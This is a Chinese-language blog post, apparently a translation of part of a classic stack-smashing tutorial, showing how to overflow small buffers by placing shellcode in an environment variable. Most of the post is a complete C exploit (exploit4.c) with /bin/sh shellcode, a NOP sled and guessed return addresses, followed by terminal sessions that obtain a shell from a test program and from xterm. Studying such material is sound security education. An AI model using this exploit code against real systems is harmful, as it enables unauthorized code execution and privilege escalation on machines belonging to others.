Chinaunix首页 | 论坛 | 博客
  • 博客访问: 35031
  • 博文数量: 5
  • 博客积分: 210
  • 博客等级: 二等列兵
  • 技术积分: 70
  • 用 户 组: 普通用户
  • 注册时间: 2008-06-03 14:09
文章分类

全部博文(5)

文章存档

2014年(1)

2008年(4)

我的朋友
最近访客

分类: C/C++

2008-06-05 11:14:09

                               小缓冲区的溢出
                               ~~~~~~~~~~~~~~~~
                          
    有时候想使其溢出的缓冲区太小了, 以至于shellcode都放不进去, 这样返回地址就
会被指令所覆盖, 而不是我们所推测的地址, 或者shellcode是放进去了, 但是没法填充
足够多的NOP指令, 这样推测地址的成功率就很低了. 要从这样的程序(小缓冲区)里得到
一个shell, 我们必须得想其他办法. 下面介绍的这种方法只在能够访问程序的环境变量
时有效.

    我们所做的就是把shellcode放到环境变量中去, 然后用这个变量在内存中的地址来
使缓冲区溢出. 这种方法同时也提高了破解工作的成功率, 因为保存shellcode的环境变
量想要多大就有多大.

    当程序开始时, 环境变量存储在堆栈的顶部, 任何使用setenv()的修改动作会在其他
地方重新分配空间. 开始时的堆栈如下所示:

      NULLNULL

    我们新的程序会使用一个额外的变量, 变量的大小能够容纳shellcode和NOP指令,
新的破解程序如下所示:

exploit4.c
------------------------------------------------------------------------------
#include

#define DEFAULT_OFFSET                    0
#define DEFAULT_BUFFER_SIZE             512
#define DEFAULT_EGG_SIZE               2048
#define NOP                            0x90

char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_esp(void) {
   __asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
  char *buff, *ptr, *egg;
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i, eggsize=DEFAULT_EGG_SIZE;

  if (argc > 1) bsize   = atoi(argv[1]);
  if (argc > 2) offset  = atoi(argv[2]);
  if (argc > 3) eggsize = atoi(argv[3]);


  if (!(buff = malloc(bsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }
  if (!(egg = malloc(eggsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }

  addr = get_esp() - offset;
  printf("Using address: 0x%x\n", addr);

  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;

  ptr = egg;
  for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
    *(ptr++) = NOP;

  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

  buff[bsize - 1] = '\0';
  egg[eggsize - 1] = '\0';

  memcpy(egg,"EGG=",4);
  putenv(egg);
  memcpy(buff,"RET=",4);
  putenv(buff);
  system("/bin/bash");
}
------------------------------------------------------------------------------

    用这个新的破解程序来试试我们的漏洞测试程序:
   
------------------------------------------------------------------------------
[aleph1]$ ./exploit4 768
Using address: 0xbffffdb0
[aleph1]$ ./vulnerable $RET
$
------------------------------------------------------------------------------

    成功了, 再试试xterm:
   
------------------------------------------------------------------------------
[aleph1]$ export DISPLAY=:0.0
[aleph1]$ ./exploit4 2148
Using address: 0xbffffdb0
[aleph1]$ /usr/X11R6/bin/xterm -fg $RET
Warning: Color name
"挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨
挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨挨


(此处截短多行输出)

挨挨挨
Warning: some arguments in previous message were lost
$
------------------------------------------------------------------------------

    一次成功! 它显著提高了我们的成功率. 依赖于破解程序和被破解程序比较环境数据
的多少, 我们推测的地址可能高也可能低于真值. 正和负的偏移量都可以试一试.

阅读(2048) | 评论(0) | 转发(0) |
0

上一篇: 破解实战

下一篇:寻找缓冲区溢出漏洞

给主人留下些什么吧!~~